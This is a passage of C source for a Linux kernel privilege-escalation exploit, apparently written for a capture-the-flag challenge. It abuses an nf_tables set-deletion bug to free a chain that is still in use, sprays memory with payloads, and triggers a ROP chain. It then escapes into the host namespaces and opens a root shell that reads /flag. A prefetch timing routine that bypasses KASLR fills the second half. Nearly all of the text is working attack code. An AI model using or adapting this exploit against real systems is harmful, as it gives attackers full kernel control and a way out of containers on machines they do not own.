    struct nlattr* list = netlink_nest_begin(nlh, NFTA_SET_ELEM_LIST_ELEMENTS);

    struct nlattr* el = netlink_attr_nest_begin(list, 0xFFFF);

    const u32 flags = htonl(0);
    netlink_attr_append(el, NFTA_SET_ELEM_FLAGS, &flags, sizeof(flags));

    struct nlattr* key = netlink_attr_nest_begin(el, NFTA_SET_ELEM_KEY);
    netlink_attr_append(key, NFTA_DATA_VALUE, MY_KEY);
    netlink_attr_nest_end(el, key);

    netlink_attr_nest_end(list, el);
    netlink_nest_end(nlh, list);

    end_batch_chunk(batch, nlh);
  }

  {
    // Delete the set
    // This triggers a set walk, which incorrectly yields the inactive element,
    // thus deactivates it again, decrements chain_B->use again.

    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELSET;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_SET_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_SET_NAME, MY_SET);

    end_batch_chunk(batch, nlh);
  }

  {
    // Delete chain B. Now that we have dropped an additional reference, we can
    // delete the chain while keeping the JUMP in chain A

    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELCHAIN;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_CHAIN_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_CHAIN_NAME, CHAIN_B);

    end_batch_chunk(batch, nlh);
  }

  {
    struct nlmsghdr* nlh = begin_batch_chunk(batch);

    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = NFNL_MSG_BATCH_END;
    nlh->nlmsg_flags = NLM_F_REQUEST;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    end_batch_chunk(batch, nlh);
  }

  total_len = batch->nlmsg_len;
  batch->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);

  FAIL_IF(__netlink_send(nfd, batch, total_len) < 0);
  FAIL_IF(netlink_recv(nfd, batch, BUF_SIZE) < 0);
  if (netlink_errno(batch) != 0) {
    // _hexdump(buf, 256, 0);
    perror("netlink_send()");
    return -1;
  }

  // Success, the chain will eventually be freed
  // Wait for RCU
  printf("waiting for free ..\n");
  sleep(1);

  // Now we reclaim the freed rule blobs
  //
  // Note that we DO NOT reclaim the freed chain object
  // We rely on the pointers not being erased during the object destruction.
  // Additionally, the random kmalloc caches reduce noise, so nothing really
  // to worry about here.

  printf("spraying payloads ..\n");
  if (spray_payload(spray_fd) < 0) {
    exit(1);
  }

  setup_cpu_entry_area();
  // wait for it to complete
  sleep(1);

  // Trigger the payload ..

  sendto(s, rop_chain_rsi, sizeof(rop_chain_rsi), 0, (struct sockaddr*)&dst, sizeof(dst));

  // if we made it this far, we hopefully succeeded:
  setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
  setns(open("/proc/1/ns/pid", O_RDONLY), 0);
  setns(open("/proc/1/ns/net", O_RDONLY), 0);

  char* shell[] = {
      "/bin/sh",
      "-c",
      "/bin/cat /flag && /bin/sh",
      NULL,
  };
  execve(shell[0], shell, NULL);
  exit(1);
}

// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}


void prefetch(void* p)
{
  asm volatile (
    "prefetchnta (%0)\n"
    "prefetcht2 (%0)\n"
    : : "r" (p));
}

size_t flushandreload(void* addr) // row miss
{
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}

int bypass_kaslr(u64 base) {
    if (!base) {
      #ifdef KASLR_BYPASS_INTEL
        #define OFFSET 0
        #define START (0xffffffff81000000ull + OFFSET)
        #define END   (0xffffffffD0000000ull + OFFSET)
        #define STEP   0x0000000001000000ull
        while (1) {
            u64 bases[7] = {0};
            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    u64 addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                size_t minv = ~0;
                size_t mini = -1;
                for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
                    if (times[ti] < minv) {
                        mini = ti;
                        minv = times[ti];
                    }
                }

                if (mini < 0) {
                    return -1;
                }

                bases[vote] = addrs[mini];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > ARRAY_LEN(bases) / 2) {
              base -= OFFSET;
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);
        }
      #else
        #define START (0xffffffff81000000ull)
        #define END (0xffffffffc0000000ull)
        #define STEP 0x0000000000200000ull
        #define NUM_TRIALS 7
        // largest contiguous mapped area at the beginning of _stext
        #define WINDOW_SIZE 11

        while (1) {
            u64 bases[NUM_TRIALS] = {0};

            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    u64 addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                uint64_t max = 0;
                int max_i = 0;
                for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
                    uint64_t sum = 0;
                    for (int i = 0; i < WINDOW_SIZE; i++) {
                        sum += times[ti + i];
                    }
                    if (sum > max) {
                        max = sum;
                        max_i = ti;
                    }
                }

                bases[vote] = addrs[max_i];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > ARRAY_LEN(bases) / 2) {
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);
        }
      #endif
    }

got_base:
    printf("using kernel base %llx\n", base);

    i64 diff = 0xffffffff81000000 - base;
    printf("diff: %lld\n", diff);

    #define x(name) { name -= diff; printf("corrected %s to %llx\n", #name, name); }
    FOR_ALL_OFFSETS(x);
    #undef x

    return 0;
}
